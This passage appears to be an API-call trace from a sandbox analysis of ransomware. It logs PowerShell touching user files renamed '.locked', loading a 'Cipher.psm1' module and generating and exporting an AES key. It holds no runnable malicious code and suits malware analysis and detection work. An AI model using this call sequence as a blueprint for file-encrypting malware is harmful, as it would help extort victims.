lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.299] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x54, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.299] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x53, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.299] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x54, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x54, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.300] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x54, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.302] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99add1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0138.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0138.302] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\2qq3yhqnfri.mp4.locked"), fInfoLevelId=0x0, lpFileInformation=0x6aa4b78 | out: lpFileInformation=0x6aa4b78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15a575b3, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x15a575b3, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x15a575b3, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x11594)) returned 1 [0138.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0138.302] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4.locked", lpFilePart=0x0) returned 0x63 [0138.302] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\2qq3yhqnfri.mp4.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x764 [0138.303] GetFileInformationByHandle (in: hFile=0x764, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0138.303] CloseHandle (hObject=0x764) returned 1 [0138.303] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae54c | out: lpConsoleScreenBufferInfo=0x99ae54c) returned 1 [0138.304] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae554 | out: lpMode=0x99ae554) returned 1 [0138.304] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae54c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae54c*=0x2) returned 1 [0138.308] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4f0 | out: lpConsoleScreenBufferInfo=0x99ae4f0) returned 1 [0138.309] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0138.309] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0138.309] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0138.313] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae554 | out: lpConsoleScreenBufferInfo=0x99ae554) returned 1 [0138.314] GetConsoleOutputCP () returned 0x1b5 [0138.314] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2d8) returned 0 [0138.314] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3a4 | out: lpConsoleScreenBufferInfo=0x99ae3a4) returned 1 [0138.315] GetConsoleOutputCP () returned 0x1b5 [0138.316] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae340, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae340) returned 0 [0138.316] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0138.316] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6acd240*, nNumberOfCharsToWrite=0x5b, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x6acd240*, lpNumberOfCharsWritten=0x99ae3a4*=0x5b) returned 1 [0138.316] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0138.317] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3a4*=0x2) returned 1 [0138.320] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4ac | out: lpConsoleScreenBufferInfo=0x99ae4ac) returned 1 [0138.320] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4b4 | out: lpMode=0x99ae4b4) returned 1 [0138.321] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4ac, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4ac*=0x2) returned 1 [0138.324] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0138.324] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0138.324] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0138.327] GetConsoleOutputCP () returned 0x1b5 [0138.328] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0138.328] GetConsoleOutputCP () returned 0x1b5 [0138.328] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0138.328] GetConsoleOutputCP () returned 0x1b5 [0138.328] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0138.328] GetConsoleOutputCP () returned 0x1b5 [0138.329] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0138.329] GetConsoleOutputCP () returned 0x1b5 [0138.329] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0138.329] GetConsoleOutputCP () returned 0x1b5 [0138.329] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0138.329] GetConsoleOutputCP () returned 0x1b5 [0138.330] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0138.330] GetConsoleOutputCP () returned 0x1b5 [0138.331] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0138.331] GetConsoleOutputCP () returned 0x1b5 [0138.331] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0138.331] GetConsoleOutputCP () returned 0x1b5 [0138.332] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0138.332] GetConsoleOutputCP () returned 0x1b5 [0138.332] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0138.332] GetConsoleOutputCP () returned 0x1b5 [0138.332] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0138.332] GetConsoleOutputCP () returned 0x1b5 [0138.333] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0138.333] GetConsoleOutputCP () returned 0x1b5 [0138.333] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0138.333] GetConsoleOutputCP () returned 0x1b5 [0138.333] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0138.333] GetConsoleOutputCP () returned 0x1b5 [0138.333] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0138.333] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0138.334] GetConsoleOutputCP () returned 0x1b5 [0138.334] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0138.334] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0138.334] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6ace17c*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x6ace17c*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0138.335] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0138.335] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0138.338] GetConsoleOutputCP () returned 0x1b5 [0138.339] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0138.339] GetConsoleOutputCP () returned 0x1b5 [0138.339] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0138.339] GetConsoleOutputCP () returned 0x1b5 [0138.339] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0138.339] GetConsoleOutputCP () returned 0x1b5 [0138.339] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0138.339] GetConsoleOutputCP () returned 0x1b5 [0138.340] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0138.340] GetConsoleOutputCP () returned 0x1b5 [0138.340] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0138.340] GetConsoleOutputCP () returned 0x1b5 [0138.340] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0138.340] GetConsoleOutputCP () returned 0x1b5 [0138.341] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0138.341] GetConsoleOutputCP () returned 0x1b5 [0138.341] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0138.341] GetConsoleOutputCP () returned 0x1b5 [0138.341] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0138.341] GetConsoleOutputCP () returned 0x1b5 [0138.342] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0138.342] GetConsoleOutputCP () returned 0x1b5 [0138.342] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0138.342] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0138.342] GetConsoleOutputCP () returned 0x1b5 [0138.343] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0138.343] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0138.343] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6acebd4*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x6acebd4*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0138.344] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0138.344] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0138.350] GetConsoleOutputCP () returned 0x1b5 [0138.350] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.350] GetConsoleOutputCP () returned 0x1b5 [0138.351] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.351] GetConsoleOutputCP () returned 0x1b5 [0138.351] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.351] GetConsoleOutputCP () returned 0x1b5 [0138.352] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.352] GetConsoleOutputCP () returned 0x1b5 [0138.352] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.352] GetConsoleOutputCP () returned 0x1b5 [0138.353] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.353] GetConsoleOutputCP () returned 0x1b5 [0138.353] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.353] GetConsoleOutputCP () returned 0x1b5 [0138.353] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.354] GetConsoleOutputCP () returned 0x1b5 [0138.354] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.354] GetConsoleOutputCP () returned 0x1b5 [0138.354] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.354] GetConsoleOutputCP () returned 0x1b5 [0138.355] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.355] GetConsoleOutputCP () returned 0x1b5 [0138.355] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.355] GetConsoleOutputCP () returned 0x1b5 [0138.356] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.356] GetConsoleOutputCP () returned 0x1b5 [0138.356] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.356] GetConsoleOutputCP () returned 0x1b5 [0138.357] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.357] GetConsoleOutputCP () returned 0x1b5 [0138.357] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.357] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0138.357] GetConsoleOutputCP () returned 0x1b5 [0138.358] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0138.358] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0138.358] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6ad09d8*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6ad09d8*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0138.359] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0138.359] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0138.365] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x54, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.365] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.365] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.365] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0138.365] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x55, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.365] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.365] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x55, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x55, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.366] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\xe7a8\x99a\x1d5f\x73b9\x8a60\x7411") returned 0x0 [0138.366] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0138.366] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.366] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x55, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.366] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.367] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x42ebdc0) returned 1 [0138.368] CryptGenKey (in: hProv=0x42ebdc0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84db8) returned 1 [0138.368] CryptContextAddRef (hProv=0x42ebdc0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0138.368] CryptExportKey (in: hKey=0x8e84db8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0138.368] CryptExportKey (in: hKey=0x8e84db8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6ada32c, pdwDataLen=0x99ae894 | out: pbData=0x6ada32c*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0138.368] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", 